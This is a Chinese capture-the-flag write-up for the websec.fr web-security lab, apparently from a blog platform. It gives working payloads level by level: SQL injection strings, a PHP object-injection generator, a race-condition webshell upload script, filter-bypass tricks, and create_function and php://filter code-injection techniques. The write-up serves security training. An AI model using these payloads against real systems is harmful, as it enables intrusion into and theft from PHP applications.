websec.fr writeup

level01

sqlite注入
1 union select 1,sql from sqlite_master
找到password字段
0 union select 1,password as username from users where id=1

level04

unserialize 对象注入
最终回显的字段是username,使用as关键字

<?php
class SQL {
    public $query = '';
    public $conn;}

$sql=new SQL();
$sql->query='select password as username from users ';
$myarray=array('sql'=>$sql,'ip'=>'42.49.96.171');
$c=base64_encode(serialize($myarray));
print $c;
?>

level17

php strcmp() strcasecmp() 函数当传入数组时会某些php版本返回0

level25

http://websec.fr///level25/index.php?page=flag

parse_url
对严重不合格的 URL,parse_url() 可能会返回 false

level28

在1s中访问我们上传的shell。

import requests
import hashlib
from multiprocessing import Process

files={'flag_file':('flag.php','<?php show_source("flag.php");?>')}
data={'submit':'hah'}
url='http://websec.fr/level28/index.php'
url2='http://websec.fr/level28/'+hashlib.md5('{ip}}').hexdigest()+'.php'

def uploadshell():
    resp=requests.post(url,data=data,files=files)
def getpass():
    resp=requests.get(url2)
    print(resp.content)
pro1=Process(target=uploadshell)
pro2=Process(target=getpass)
pro1.start()
pro2.start()

level2

1111 ununionion selselectect 1,password frfromom users

preg_replace()只会替换一次,可以用 uniunionon绕过

level8

必须上传图片,
include_once()会执行php代码,在图片中添加php代码。
print_r(scandir('/')) 列出指定路径中的文件和目录 返回数组 ,使用print_r()或var_dump()打印
show_source('flag.txt')

level10

松散比较,构造一个hash值为0e开头的hash值,与0相等。

import hashlib
for i in range(1000000):
    s='.{0}flag'.format(i*'/')
    b=hashlib.md5(s).hexdigest()
    if b[0:2]=='0e':
        print s
        break

File=./////////flag
Secret hash=0

level11

子查询注入
user_id=2&submit=hah&table=(select 2 id,enemy username from costume)

level15

create_function()存在代码注入
;}print_r($flag);//

level22

var_dump($a)
$blacklist{579}($a)

level24

php://filter/write=convert.base64-decode/resource=my_file.php
php流协议,创建一个php base64解码的流文件
把webshell用base64编码上传到该文件,会自动解码。

level03

password_hash 遇到0字节仅对0字节前面的字符串加密
sha1($_POST[‘c’], false)将返回一个40位字符长度的16进制数字,而不是一个20位的字符串
当使用sha1函数对密码进行加密后返回的是16进制的字符串,如果字符串刚好有00,就会以00结束字符串。
sha1('wadaa')=7c0022af2ef5ee457ea9a8aba36d1b54b73085e0

level09

stripcslashes() 反转义字符串 \0 代表8进制,\x 代表十六进制
stripcslashes('readfile\x28\x27flag.txt\x27\x29\x3b');

level18

unserialize()注入对象
$data->input = &$data->flag; 引用传递 &

level07

字段取别名
1111 union select 1,d from (select 1 b,2 c,3 d where d in(4) union select * from users where id between 1 and 1)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,541评论 0 2
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,367评论 0 5
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,436评论 1 11
  • 01 朋友介绍了一男生给我认识,奔着找结婚对象的那种。我俩先加了微信。 因为没啥感觉,我的回复一直比较冷淡。 后来...
    531_阅读 240评论 0 1
  • 今天晚上约了好朋友们出去吃饭,下班回到家女儿说:妈妈今晚的作业是背古诗《春夜喜雨》,这首诗以前就背过了,所以...
    liuyue的兔子阅读 134评论 0 0